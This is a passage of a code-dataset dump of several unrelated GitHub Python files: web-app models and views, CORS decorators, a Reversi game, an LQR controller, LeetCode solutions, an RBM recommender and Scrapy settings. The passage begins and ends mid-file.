Image\")\n\nADD_IMAGE = T(\"Add Photo\")\nimage_id = S3ReusableField(\"image_id\", db.doc_image,\n requires = IS_NULL_OR(IS_ONE_OF(db, \"doc_image.id\", \"%(name)s\")),\n represent = lambda id: (id and [DIV(A(IMG(_src=URL(r=request, c=\"default\", f=\"download\", args=db(db.doc_image.id == id).select(db.doc_image.image,\n limitby=(0, 1)).first().image),\n _height=40),\n _class=\"zoom\",\n _href=\"#zoom-media_image-%s\" % id),\n DIV(IMG(_src=URL(r=request, c=\"default\", f=\"download\", args=db(db.doc_image.id == id).select(db.doc_image.image,\n limitby=(0, 1)).first().image),\n _width=600),\n _id=\"zoom-media_image-%s\" % id,\n _class=\"hidden\"))] or [\"\"])[0],\n label = T(\"Image\"),\n comment = DIV(A(ADD_IMAGE,\n _class=\"colorbox\",\n _href=URL(r=request, c=\"doc\", f=\"image\", args=\"create\", vars=dict(format=\"popup\")),\n _target=\"top\",\n _title=ADD_IMAGE),\n DIV( _class=\"tooltip\",\n _title=\"%s|%s\" % (ADD_IMAGE,\n T(\"Upload an image, such as a photo\")))),\n ondelete = \"RESTRICT\"\n )\n\n# CRUD Strings\nLIST_IMAGES = T(\"List Photos\")\ns3.crud_strings[tablename] = Storage(\n title_create = ADD_IMAGE,\n title_display = T(\"Photo Details\"),\n title_list = LIST_IMAGES,\n title_update = T(\"Edit Photo\"),\n title_search = T(\"Search Photos\"),\n subtitle_create = T(\"Add New Photo\"),\n subtitle_list = T(\"Photo\"),\n label_list_button = LIST_IMAGES,\n label_create_button = ADD_IMAGE,\n label_delete_button = T(\"Delete Photo\"),\n msg_record_created = T(\"Photo added\"),\n msg_record_modified = T(\"Photo updated\"),\n msg_record_deleted = T(\"Photo deleted\"),\n msg_list_empty = T(\"No Photos found\"))\n\ndef image_onvalidation(form):\n\n import cgi\n\n table = db.doc_image\n\n img = form.vars.image\n\n if not hasattr(img, \"file\"):\n id = request.post_vars.id\n if id:\n record = db(table.id == id).select(table.image,\n limitby=(0, 1)).first()\n if record:\n img = record.image\n\n if isinstance(img, cgi.FieldStorage) and img.filename:\n f = img.file\n form.vars.checksum = docChecksum(f.read())\n f.seek(0)\n if form.vars.checksum is not None:\n result = db(table.checksum == form.vars.checksum).select(table.name,\n limitby=(0, 1)).first()\n if result:\n image_name = result.name\n form.errors[\"image\"] = \"%s %s\" % (T(\"This file already exists on the server as\"), image_name)\n return\n\ns3xrc.model.configure(table,\n onvalidation=image_onvalidation)\n\n#==============================================================================\n","repo_name":"sinsai/Sahana_eden","sub_path":"models/06_doc.py","file_name":"06_doc.py","file_ext":"py","file_size_in_byte":11624,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"5988426219","text":"from functools import wraps\n\n\ndef check_cors(f):\n \"\"\"Wraps a request handler with CORS headers checking.\"\"\"\n\n @wraps(f)\n def decorated(*args, **kwargs):\n self = args[0]\n request = args[1]\n origin = request.getHeader('Origin')\n\n if origin:\n if '*' in self.cors_origins:\n request.setHeader('Access-Control-Allow-Origin', '*')\n elif origin in self.cors_origins:\n request.setHeader('Access-Control-Allow-Origin', origin)\n else:\n request.setResponseCode(403)\n return 'forbidden'\n\n if request.method.decode('utf-8', 'strict') == 'OPTIONS':\n return '' # if this is an options call we skip running `f`\n else:\n return f(*args, **kwargs)\n\n return decorated\n \n\ndef check_route(f):\n \"\"\"Wraps a request handler with router.\"\"\"\n @wraps(f)\n def decorated(*args, **kwargs):\n self = args[0]\n request = args[1]\n url = request.uri.decode()\n html_404 = '''404 Not Found\n

Hey!Easy~

\n

If you see this page,it means you have to add the PREDICT_CLASS and PREDICT_FUNC in you config.ini.

'''\n if url not in self.router:\n request.setResponseCode(404)\n return html_404\n else:\n return f(*args, **kwargs)\n return decorated \n \n \ndef check_ai(f):\n \"\"\"Wraps a request handler with router.\"\"\"\n @wraps(f)\n def decorated(*args, **kwargs):\n print(args)\n print(kwargs)\n return f(*args, **kwargs)\n return decorated \n ","repo_name":"CLANNADHH/ai_web","sub_path":"aiweb/utils/ai_wraper.py","file_name":"ai_wraper.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"74938199281","text":"# To Do: \"Draw\" (no winner) not displayed\n\nimport cdkk\nimport pygame\nfrom BoardGames import *\n\n# --------------------------------------------------\n\n\nclass Sprite_Reversi_Winner(cdkk.Sprite_DynamicText):\n def __init__(self, centerx, centery):\n super().__init__(\"Winner\")\n self.text_format = \"Winner: {0}\"\n self.set_text(\"12345\")\n self.rect.center = (centerx, centery)\n\n# --------------------------------------------------\n\n\nclass Manager_Reversi(cdkk.SpriteManager):\n def __init__(self, limits, name=\"Board Manager\"):\n super().__init__(name)\n board = cdkk.Sprite_BoardGame_Board(name=\"Board\", style={\n \"fillcolour\": \"green\", \"altcolour\": None, \"outlinecolour\": \"black\", \"outlinewidth\": 2})\n cell_size = int(min((limits.height * 0.8) /\n 8, (limits.width * 0.8) / 8))\n board.setup_board_grid(\n cell_size, 8, cdkk.EventManager.gc_event(\"Board\"))\n board.rect.center = limits.center\n self.add(board)\n\n self._reversi = BoardGame_Reversi(8, 8)\n self._reversi.start_game()\n\n label_style = {\"fillcolour\": None, \"width\": 200, \"height\": 35}\n self._black_score = cdkk.Sprite_DynamicText(\"Black\", style=label_style)\n self._black_score.rect.center = (\n limits.width * 0.2, limits.height * 0.05)\n self._black_score.set_text_format(\n \"Black: {0}\", self._reversi.count_player_pieces(1))\n self.add(self._black_score)\n\n self._next_player = cdkk.Sprite_DynamicText(\"Next\", style=label_style)\n self._next_player.rect.center = (\n limits.width * 0.5, limits.height * 0.05)\n self._next_player.set_text_format(\n \"Next: {0}\", self._reversi.current_player_name)\n self.add(self._next_player)\n\n self._white_score = cdkk.Sprite_DynamicText(\"White\", style=label_style)\n self._white_score.rect.center = (\n limits.width * 0.8, limits.height * 0.05)\n self._white_score.set_text_format(\n \"White: {0}\", self._reversi.count_player_pieces(2))\n self.add(self._white_score)\n\n winner_style = {\"textcolour\": \"red3\", \"textsize\": 64, \"fillcolour\": \"yellow1\",\n \"outlinecolour\": \"red3\", \"width\": 400, \"height\": 80}\n self._winner = cdkk.Sprite_DynamicText(\"Winner\", style=winner_style)\n self._winner.rect.center = (limits.width * 0.5, limits.height * 0.5)\n self._winner.set_text_format(\"Winner: {0}\", \"\")\n\n ev_Pass = cdkk.EventManager.gc_event(\"Pass\")\n ev_Hint = cdkk.EventManager.gc_event(\"Hint\")\n ev_ClearHint = cdkk.EventManager.create_event(cdkk.EVENT_GAME_TIMER_1)\n ev_Restart = cdkk.EventManager.gc_event(\"StartGame\")\n ev_Quit = cdkk.EventManager.gc_event(\"Quit\")\n\n button_style = {\"width\": 120, \"height\": 35}\n self.add(cdkk.Sprite_Button(\n \"Pass\", event_on_click=ev_Pass, style=button_style))\n self.add(cdkk.Sprite_Button(\"Hint\", event_on_click=ev_Hint,\n event_on_unclick=ev_ClearHint, style=button_style))\n self.add(cdkk.Sprite_Button(\n \"Restart\", event_on_click=ev_Restart, style=button_style))\n self.add(cdkk.Sprite_Button(\n \"Quit\", event_on_click=ev_Quit, style=button_style))\n\n self.sprite(\"Pass\").rect.center = (\n limits.width * 0.2, limits.height * 0.95)\n self.sprite(\"Hint\").rect.center = (\n limits.width * 0.4, limits.height * 0.95)\n self.sprite(\"Restart\").rect.center = (\n limits.width * 0.6, limits.height * 0.95)\n self.sprite(\"Quit\").rect.center = (\n limits.width * 0.8, limits.height * 0.95)\n\n def start_game(self):\n self.kill_sprites_by_desc(\"class\", \"Sprite_BoardGame_Piece\")\n self.remove(self._winner) # Hide Game Over\n self._reversi.start_game()\n for p in self._reversi.pieces:\n self.add_piece(p[0], p[1], p[2])\n\n def event(self, e):\n dealt_with = super().event(e)\n if not dealt_with and e.type == cdkk.EVENT_GAME_CONTROL:\n dealt_with = True\n if e.action == \"Board\":\n x, y = e.pos\n col, row = self.sprite(\"Board\").find_cell((x, y))\n self.play_piece(col, row)\n elif e.action == \"Pass\":\n self._reversi.next_player()\n elif e.action == \"Hint\":\n moves = self._reversi.next_moves()\n self.sprite(\"Board\").highlight_cells(moves)\n self.timer = cdkk.Timer(1, cdkk.EVENT_GAME_TIMER_1)\n elif e.action == \"ClearHint\":\n self.timer.stop_event()\n moves = self._reversi.next_moves()\n self.sprite(\"Board\").highlight_cells(moves, False)\n elif e.action == \"Print\":\n self._reversi.print_board()\n else:\n dealt_with = False\n return dealt_with\n\n def play_piece(self, col, row):\n outcome = self._reversi.play_piece(col, row)\n if outcome[\"changes\"] is not None:\n for c in outcome[\"changes\"]:\n if c[3] == \"add\":\n self.add_piece(c[0], c[1], c[2])\n elif c[3] == \"flip\":\n name = \"{0:02d}-{1:02d}\".format(c[0], c[1])\n self.sprite(name).flip()\n\n go = outcome[\"WinnerNum\"]\n if go is not None:\n self._winner.set_text(self._reversi.player_name(go))\n self.add(self._winner)\n\n def add_piece(self, col, row, player):\n name = \"{0:02d}-{1:02d}\".format(col, row)\n piece = cdkk.Sprite_BoardGame_Piece(\n name, self.sprite(\"Board\"), col, row)\n if player == \"1\":\n piece.flip()\n self.add(piece)\n\n def update(self):\n super().update()\n self.sprite(\"Black\").set_text(self._reversi.count_player_pieces(1))\n self.sprite(\"White\").set_text(self._reversi.count_player_pieces(2))\n self.sprite(\"Next\").set_text(self._reversi.current_player_name)\n\n# --------------------------------------------------\n\n\nclass BoardGameApp(cdkk.PyGameApp):\n\n def init(self):\n super().init()\n pygame.display.set_caption(\"Board Game\")\n self.background_fill = \"burlywood\"\n self.add_sprite_mgr(Manager_Reversi(self.boundary))\n key_map = cdkk.merge_dicts(cdkk.PyGameApp.default_key_map,\n {pygame.K_p: \"Print\",\n pygame.K_h: \"Hint\"})\n user_event_map = {\n cdkk.EVENT_GAME_TIMER_1: \"ClearHint\"\n }\n self.event_mgr.event_map(\n key_event_map=key_map, user_event_map=user_event_map)\n\n\n# --------------------------------------------------\n\napp_config = {\n \"width\": 1500, \"height\": 1000,\n \"background_fill\": \"burlywood\",\n \"caption\": \"Reversi\",\n \"auto_start\": True\n}\nBoardGameApp(app_config).execute()\n","repo_name":"BrianDunneKK/BoardGames","sub_path":"Reversi.py","file_name":"Reversi.py","file_ext":"py","file_size_in_byte":6998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8862034785","text":"from dataclasses import dataclass\nfrom typing import Any, Dict, List, Optional, Sequence, Tuple, Union, cast\n\nimport gym\nimport numpy as np\n\nfrom nnabla_rl.algorithm import Algorithm, AlgorithmConfig, eval_api\nfrom nnabla_rl.environments.environment_info import EnvironmentInfo\nfrom nnabla_rl.numpy_models.cost_function import CostFunction\nfrom nnabla_rl.numpy_models.dynamics import Dynamics\n\n\n@dataclass\nclass LQRConfig(AlgorithmConfig):\n \"\"\"List of configurations for LQR (Linear Quadratic Regulator) algorithm.\n\n Args:\n T_max (int): Planning time step length. Defaults to 50.\n \"\"\"\n T_max: int = 50\n\n def __post_init__(self):\n super().__post_init__()\n\n self._assert_positive(self.T_max, 'T_max')\n\n\nclass LQR(Algorithm):\n \"\"\"LQR (Linear Quadratic Regulator) algorithm.\n\n Args:\n env_or_env_info\\\n (gym.Env or :py:class:`EnvironmentInfo `):\n the environment to train or environment info\n dynamics (:py:class:`Dynamics `):\n dynamics of the system to control\n cost_function (:py:class:`Dynamics `):\n cost function to optimize the trajectory\n config (:py:class:`LQRConfig `):\n the parameter for LQR controller\n \"\"\"\n _config: LQRConfig\n\n def __init__(self,\n env_or_env_info,\n dynamics: Dynamics,\n cost_function: CostFunction,\n config=LQRConfig()):\n super(LQR, self).__init__(env_or_env_info, config=config)\n self._dynamics = dynamics\n self._cost_function = cost_function\n\n @eval_api\n def compute_eval_action(self, state, *, begin_of_episode=False, extra_info={}):\n dynamics = self._dynamics\n cost_function = self._cost_function\n x0 = state\n u0 = [np.zeros((dynamics.action_dim(), 1)) for t in range(self._config.T_max - 1)]\n initial_trajectory = self._compute_initial_trajectory(x0, dynamics, self._config.T_max, u0)\n improved_trajectory, _ = self._optimize(initial_trajectory, dynamics, cost_function)\n\n return improved_trajectory[0][1]\n\n @eval_api\n def compute_trajectory(self,\n initial_trajectory: Sequence[Tuple[np.ndarray, Optional[np.ndarray]]]) \\\n -> Tuple[Sequence[Tuple[np.ndarray, Optional[np.ndarray]]], Sequence[Dict[str, Any]]]:\n assert len(initial_trajectory) == self._config.T_max\n dynamics = self._dynamics\n cost_function = self._cost_function\n return self._optimize(initial_trajectory, dynamics, cost_function)\n\n def _compute_initial_trajectory(self, x0, dynamics, T, u):\n trajectory = []\n x = x0\n for t in range(T - 1):\n trajectory.append((x, u[t]))\n x, _ = dynamics.next_state(x, u[t], t)\n trajectory.append((x, None))\n return trajectory\n\n def _optimize(self,\n initial_state: Union[np.ndarray, Sequence[Tuple[np.ndarray, Optional[np.ndarray]]]],\n dynamics: Dynamics,\n cost_function: CostFunction,\n **kwargs) \\\n -> Tuple[Sequence[Tuple[np.ndarray, Optional[np.ndarray]]], Sequence[Dict[str, Any]]]:\n assert len(initial_state) == self._config.T_max\n initial_state = cast(Sequence[Tuple[np.ndarray, Optional[np.ndarray]]], initial_state)\n x_last, u_last = initial_state[-1]\n Sk, *_ = cost_function.hessian(x_last, u_last, self._config.T_max, final_state=True)\n\n matrices: List[Tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray, np.ndarray]] = []\n for t in reversed(range(self._config.T_max - 1)):\n (x, u) = initial_state[t]\n assert u is not None\n A, B = dynamics.gradient(x, u, self._config.T_max - t - 1)\n assert B is not None\n Q, F, _, R = cost_function.hessian(x, u, self._config.T_max - t - 1)\n assert F is not None\n assert R is not None\n C = np.linalg.inv(R + (B.T.dot(Sk).dot(B)))\n D = (F.T + B.T.dot(Sk).dot(A))\n Sk = Q + A.T.dot(Sk).dot(A) - D.T.dot(C).dot(D)\n matrices.append((Sk, A, B, R, F))\n\n trajectory: List[Tuple[np.ndarray, Optional[np.ndarray]]] = []\n trajectory_info: List[Dict[str, np.ndarray]] = []\n x = initial_state[0][0]\n for t, (S, A, B, R, F) in enumerate(reversed(matrices)):\n u = self._compute_optimal_input(x, S, A, B, R, F)\n trajectory.append((x, u))\n # Save quadratic cost coefficient R as Quu and R^-1 as Quu_inv\n trajectory_info.append({'Quu': R, 'Quu_inv': np.linalg.inv(R)})\n x, _ = dynamics.next_state(x, u, t)\n\n trajectory.append((x, None)) # final timestep input is None\n trajectory_info.append({})\n return trajectory, trajectory_info\n\n def _compute_optimal_input(self, x, S, A, B, R, F) -> np.ndarray:\n C = np.linalg.inv(R + (B.T.dot(S).dot(B)))\n D = (F.T + B.T.dot(S).dot(A))\n return cast(np.ndarray, -C.dot(D).dot(x))\n\n def _before_training_start(self, env_or_buffer):\n raise NotImplementedError('You do not need training to use this algorithm.')\n\n def _run_online_training_iteration(self, env):\n raise NotImplementedError('You do not need training to use this algorithm.')\n\n def _run_offline_training_iteration(self, buffer):\n raise NotImplementedError('You do not need training to use this algorithm.')\n\n def _after_training_finish(self, env_or_buffer):\n raise NotImplementedError('You do not need training to use this algorithm.')\n\n def _models(self):\n return {}\n\n def _solvers(self):\n return {}\n\n @classmethod\n def is_supported_env(cls, env_or_env_info):\n env_info = EnvironmentInfo.from_env(env_or_env_info) if isinstance(env_or_env_info, gym.Env) \\\n else env_or_env_info\n return not env_info.is_discrete_action_env() and not env_info.is_tuple_action_env()\n\n @property\n def trainers(self):\n return {}\n","repo_name":"sony/nnabla-rl","sub_path":"nnabla_rl/algorithms/lqr.py","file_name":"lqr.py","file_ext":"py","file_size_in_byte":6229,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"75"} +{"seq_id":"14182811821","text":"'''\n执行结果:\n解答错误\n显示详情\n\n添加备注\n输入:\n[1,28,21]\n[9,21,20]\n输出:\n16\n预期结果:\n9\n'''\nclass Solution:\n def minAbsoluteSumDiff(self, nums1: List[int], nums2: List[int]) -> int:\n MOD = 10 ** 9 + 7\n diffs = [abs(n1 - n2) for n1, n2 in zip(nums1, nums2)]\n max_diff = max_diff_idx = sum_diff = 0\n for i, diff in enumerate(diffs):\n sum_diff += diff\n if diff > max_diff:\n max_diff = diff\n max_diff_idx = i\n \n min_diff = min(abs(n1 - nums2[max_diff_idx]) for n1 in nums1)\n return (sum_diff - max_diff + min_diff) % MOD\n\n\n\n\n'''\napproach: Binary Search\nTime: O(NlogN)\nSpace: O(N)\n\n执行用时:320 ms, 在所有 Python3 提交中击败了88.20% 的用户\n内存消耗:26.8 MB, 在所有 Python3 提交中击败了69.94% 的用户\n'''\n\nclass Solution:\n def minAbsoluteSumDiff(self, nums1: List[int], nums2: List[int]) -> int:\n # nums1_sort = sorted(nums1) # IndexError: list index out of range\n nums1_sort = sorted(nums1 + [10 ** 7])\n ans = sum(abs(n1 - n2) for n1, n2 in zip(nums1, nums2))\n MOD = 10 ** 9 + 7\n diff = 10 ** 7\n for n1, n2 in zip(nums1, nums2):\n idx = bisect.bisect_left(nums1_sort, n2)\n diff = min(diff, abs(nums1_sort[idx] - n2) - abs(n1 - n2), \\\n abs(nums1_sort[idx - 1] - n2) - abs(n1 - n2))\n ans += diff\n return ans % MOD\n","repo_name":"lixiang2017/leetcode","sub_path":"leetcode-cn/1818.0_Minimum_Absolute_Sum_Difference.py","file_name":"1818.0_Minimum_Absolute_Sum_Difference.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37380481431","text":"from django.conf import settings\nimport requests\nfrom rest_framework import serializers\n\nfrom accounts.models import User\n\n\ndef hunter_email_verifier(email):\n params = {\n 'email': email,\n 'api_key': settings.HUNTER_API_KEY\n }\n url = settings.HUNTER_EMAIL_VERIFIER_URL\n\n response = requests.get(url, params=params)\n\n if response.status_code == 200:\n return response.json()\n else:\n return {}\n\n\ndef clearbit_enrichment(email):\n params = {'email': email}\n headers = {'Authorization': 'Bearer {}'.format(settings.CLEARBIT_API_KEY)}\n url = settings.CLEARBIT_ENRICHMENT_URL\n\n response = requests.get(url, params, headers=headers)\n\n if response.status_code == 200:\n return response.json()\n else:\n return {}\n\n\nclass UserSerializer(serializers.HyperlinkedModelSerializer):\n url = serializers.HyperlinkedIdentityField(view_name='users-detail')\n password = serializers.CharField(\n required=True,\n write_only=True,\n style={'input_type': 'password'})\n\n class Meta:\n model = User\n fields = [\n 'url',\n 'email',\n 'password',\n 'first_name',\n 'last_name',\n 'location',\n 'bio',\n 'site',\n 'avatar',\n ]\n\n def verify_email(self):\n email = self.validated_data['email']\n\n if settings.HUNTER_API_KEY:\n response = hunter_email_verifier(email)\n\n if not response['data']['result'] == 'deliverable':\n raise serializers.ValidationError('Invalid email.')\n\n return email\n\n def enrich_account(self):\n data = self.validated_data\n\n email = data['email']\n\n if settings.CLEARBIT_API_KEY:\n response = clearbit_enrichment(email)\n\n name = response.get('name', {})\n data['first_name'] = '' if not name.get('givenName') \\\n else name.get('givenName')\n data['last_name'] = '' if not name.get('familyName') \\\n else name.get('familyName')\n\n data['location'] = response.get('location')\n data['bio'] = response.get('bio')\n data['site'] = response.get('site')\n data['avatar'] = response.get('avatar')\n","repo_name":"mrnom/socialnavi","sub_path":"accounts/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19509283515","text":"import numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn.parallel\nimport torch.utils.data\n\nmovies = pd.read_csv('ml-1m/movies.dat', sep='::', header=None, engine='python', encoding='latin-1')\nusers = pd.read_csv('ml-1m/users.dat', sep='::', header=None, engine='python', encoding='latin-1')\nratings = pd.read_csv('ml-1m/ratings.dat', sep='::', header=None, engine='python', encoding='latin-1')\n\ntraining_set = pd.read_csv('ml-100k/u1.base', delimiter='\\t')\ntraining_set = np.array(training_set, dtype=int)\n\ntest_set = pd.read_csv('ml-100k/u1.test', delimiter='\\t')\ntest_set = np.array(test_set, dtype=int)\n\nnb_users = int(max(max(training_set[:, 0]), max(test_set[:, 0])))\nnb_movies = int(max(max(training_set[:, 1]), max(test_set[:, 1])))\n\n\ndef convert(data):\n new_list = []\n for i in range(1, nb_users + 1):\n id_movies = data[:, 1][data[:, 0] == i]\n id_ratings = data[:, 2][data[:, 0] == i]\n ratings = np.zeros(nb_movies)\n ratings[id_movies - 1] = id_ratings\n new_list.append(list(ratings))\n return new_list\n\n\ntraining_set = convert(training_set)\ntest_set = convert(test_set)\n\ntraining_set = torch.FloatTensor(training_set)\ntest_set = torch.FloatTensor(test_set)\n\ntraining_set[training_set == 0] == -1\ntraining_set[training_set == 1] == 0\ntraining_set[training_set == 2] = 0\ntraining_set[training_set >= 3] = 1\n\ntest_set[test_set == 0] = -1\ntest_set[test_set == 1] = 0\ntest_set[test_set == 2] = 0\ntest_set[test_set >= 3] = 1\n\n\nclass RBM():\n def __init__(self, nv, nh):\n self.W = torch.randn(nh, nv)\n self.a = torch.randn(1, nh)\n self.b = torch.randn(1, nv)\n\n def sample_h(self, x):\n\n w = self.W\n wt = self.W.t()\n wShape = w.size()\n wtShape = wt.size()\n xshape = x.size()\n\n wx = torch.mm(x, self.W.t())\n activation = wx + self.a.expand_as(wx)\n p_h_given_v = torch.sigmoid(activation)\n return p_h_given_v, torch.bernoulli(p_h_given_v)\n\n def sample_v(self, y):\n\n wy = torch.mm(y, self.W)\n activation = wy + self.b.expand_as(wy)\n p_v_given_h = torch.sigmoid(activation)\n return p_v_given_h, torch.bernoulli(p_v_given_h)\n\n def train(self, v0, vk, ph0, phk):\n w = self.W\n wShape = w.size()\n wt = w.t()\n wtShape = wt.size()\n v0Shape = v0.size()\n vkShape = vk.size()\n v0t = v0.t()\n v0tshape = v0t.size()\n vkt = vk.t()\n vktShape = vkt.size()\n ph0shape = ph0.size()\n phkshape = phk.size()\n\n first = torch.mm(v0.t(), ph0)\n second = torch.mm(vk.t(), phk)\n third = first - second\n fourth = third.t()\n firstSize = first.size()\n secondSize = second.size()\n thirdSize = third.size()\n fourthSize = fourth.size()\n\n self.W += (torch.mm(v0.t(), ph0) - torch.mm(vk.t(), phk)).t()\n self.b += torch.sum((v0 - vk), 0)\n self.a += torch.sum((ph0 - phk), 0)\n\n\nnv = len(training_set[0])\nnh = 100\nbatch_size = 100\nrbm = RBM(nv=nv, nh=nh)\n\nnb_epochs = 10\nfor epoch in range(1, nb_epochs + 1):\n train_loss = 0\n s = 0.\n for id_user in range(0, nb_users - batch_size, batch_size):\n vk = training_set[id_user: id_user + batch_size]\n v0 = training_set[id_user: id_user + batch_size]\n ph0, _ = rbm.sample_h(v0)\n for k in range(10):\n _, hk = rbm.sample_h(vk)\n _, vk = rbm.sample_v(hk)\n vk[vk<0] = v0[v0<0]\n phk,_ = rbm.sample_h(vk)\n rbm.train(v0, vk, ph0, phk)\n train_loss += torch.mean(torch.abs(v0[v0 >= 0] - vk[v0 >= 0]))\n s += 1.\n\n print('Epoch: ' + str(epoch) + ' loss: ' + str(train_loss / s))\n\n\n\ntest_loss = 0.\ns = 0.\nfor id_user in range(nb_users):\n v = training_set[id_user: id_user+1]\n vt = test_set[id_user: id_user+1]\n if len(vt[vt >= 0]) > 0:\n _, h = rbm.sample_h(v)\n _, v = rbm.sample_v(h)\n test_loss += torch.mean(torch.abs((vt[vt >= 0] - v[vt >= 0])))\n s += 1.\n\nprint('test loss: ' + str(test_loss / s))\n","repo_name":"epm157/python-projects","sub_path":"Deep Learning/Volume 2 - Unsupervised Deep Learning/Part 5 - Boltzmann Machines (BM)/Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41509841250","text":"from django.http import HttpResponse, StreamingHttpResponse\nfrom io import BytesIO\n\nfrom reportlab.platypus import SimpleDocTemplate\n\nfrom common import ERRORS\nfrom common.UTIL import auto_param, Response, COMPONENTS,extract_component_type\nfrom common.report import Report\nfrom db_model.models import AtomLearn, IOFieldType, AtomAct, ModelPredictionBIns\nfrom db_engine.atom_learn import robotx_field_in_query, combine_field_in_query, ModelClassDescription\nfrom executor.components.AtomAct import AtomAct as AtomActExecutor\n\nMODEL_OBJECTS = list()\nMODEL_OBJECTS.append(ModelClassDescription(ModelPredictionBIns))\n\n\n@auto_param\ndef save(request, project_id, component_id, atom_learn_id, input_comp_id):\n atom_learn = AtomLearn.objects.filter(project_id=project_id, component_id=atom_learn_id)\n if len(atom_learn) == 0:\n return HttpResponse(Response.fail(ERRORS.ATOM_LEARN_NOT_CONFIGURED, None).to_json())\n atom_learn = atom_learn[0]\n assert isinstance(atom_learn, AtomLearn)\n learn_input_type = extract_component_type(atom_learn.input_comp_id)\n act_input_type = extract_component_type(input_comp_id)\n feature_id = atom_learn.feature_id\n\n if act_input_type == COMPONENTS.HIVE_READER:\n fields = IOFieldType.objects.filter(project_id=project_id, component_id=input_comp_id,\n field__in=[feature_id])\n elif act_input_type == COMPONENTS.ROBOTX_SPARK:\n fields = list(IOFieldType.objects.raw(robotx_field_in_query.format(\n project_id=project_id,\n component_id=input_comp_id,\n id=feature_id,\n target=''\n )))\n elif act_input_type == COMPONENTS.FEATURE_COMBINE:\n fields = list(IOFieldType.objects.raw(combine_field_in_query.format(\n project_id=project_id,\n component_id=input_comp_id,\n id=feature_id,\n target=''\n )))\n if len(fields)!=1:\n return HttpResponse(Response.fail(ERRORS.INPUT_NOT_SAME_AS_LEARN, None).to_json())\n AtomAct.objects.filter(project_id=project_id,component_id=component_id).delete()\n AtomAct(project_id=project_id,component_id=component_id,atom_learn_id=atom_learn_id,input_comp_id=input_comp_id).save()\n if learn_input_type != act_input_type:\n return HttpResponse(Response.success(ERRORS.COMPONENT_NOT_SAME_AS_LEARN).to_json())\n return HttpResponse(Response.success().to_json())\n\n\ndef file_iterator(file_name, threshold):\n first_line = True\n with open(file_name,'r') as f:\n while True:\n c = f.readline()\n if c:\n if first_line:\n first_line = False\n yield c\n else:\n id, predict, p0, p1 = tuple(c.split(\",\"))\n if float(p1.strip()) >= threshold:\n predict = \"1\"\n else:\n predict = \"0\"\n yield \",\".join([id, predict, p0, p1])\n else:\n break\n\n\n@auto_param\ndef download_prediction(request, project_id, component_id, threshold=0.5):\n prediction_path = AtomActExecutor.get_prediction_csv_local_path(project_id, component_id)\n threshold = float(threshold)\n response = StreamingHttpResponse(file_iterator(prediction_path, threshold))\n response['Content-Type'] = 'application/octet-stream'\n file_name = \"%s_%s_%s\" %(project_id, component_id, AtomActExecutor.PREDICTION_CSV)\n response['Content-Disposition'] = 'attachment;filename=\"{0}\"'.format(file_name)\n return response\n\n\n@auto_param\ndef report(request, project_id, component_id):\n res = dict()\n for model_obj in MODEL_OBJECTS:\n prop = model_obj.name\n values = model_obj.cls.objects.filter(project_id=project_id, component_id=component_id)\n if len(values) == 0:\n if model_obj == ModelPredictionBIns:\n break\n else:\n continue\n value_lst = list()\n for val in values:\n value_lst.append({\n p: val.__getattribute__(p)\n for p in model_obj.props\n })\n res[prop] = value_lst\n if len(res) == 0:\n return HttpResponse(Response.fail(ERRORS.NO_REPORT).to_json())\n return HttpResponse(Response.success(res).to_json())\n\n\n@auto_param\ndef report_pdf(request, project_id, component_id, threshold):\n threshold = float(threshold)\n\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=%s_%s.pdf' %( project_id, component_id)\n\n with BytesIO() as temp:\n doc = SimpleDocTemplate(temp)\n content = Report.act_report(project_id, component_id, doc.width, threshold)\n doc.build(content)\n response.write(temp.getvalue())\n return response\n","repo_name":"msw1535540/db-engine","sub_path":"db_engine/db_engine/atom_act.py","file_name":"atom_act.py","file_ext":"py","file_size_in_byte":4823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72850265841","text":"# -*- coding: utf-8 -*-\n\n# Scrapy settings for scrapyTest project\n#\n# For simplicity, this file contains only the most important settings by\n# default. All the other settings are documented here:\n#\n# http://doc.scrapy.org/en/latest/topics/settings.html\n#\n\nfrom scrapy.contrib.spiders import Rule\nfrom scrapy.contrib.linkextractors import LinkExtractor\n\nBOT_NAME = 'scrapy_jwcSYSU'\n\nSPIDER_MODULES = ['scrapy_jwcSYSU.spiders']\nNEWSPIDER_MODULE = 'scrapy_jwcSYSU.spiders'\nITEM_PIPELINES = {\n 'scrapy_jwcSYSU.pipelines.jwcsysuJsonExportPipeline': 800\n}\n\nSTART_URLS = {\n 'http://jwc.sysu.edu.cn/StudentMan/Index.aspx', # 中山大学教务处 教务学籍\n 'http://jwc.sysu.edu.cn/TeachReseach/Index.aspx', # 中山大学教务处 教学研究\n 'http://jwc.sysu.edu.cn/TeachPractice/Index.aspx', # 中山大学教务处 教学实践\n 'http://jwc.sysu.edu.cn/Coopration/Index.aspx', # 中山大学教务处 合作交流\n 'http://jwc.sysu.edu.cn/zhgl/Index.aspx', # 中山大学教务处 综合管理科\n 'http://jwc.sysu.edu.cn/gxyj/Index.aspx', # 中山大学教务处 教学研究科\n 'http://jwc.sysu.edu.cn/jxsj/Index.aspx', # 中山大学教务处 教学实践科\n 'http://jwc.sysu.edu.cn/departmentnews/Index.aspx', # 中山大学教务处 院务教务信息\n}\n\nRULES = [\n Rule(LinkExtractor(allow=(\"/Item/?\"), deny=['/Item/1575?', \\\n '/Item/1576?', '/Item/1574?', '/Item/4354?', '/Item/1580?', '/Error/?']) ,callback = \"parse_item\"),\n 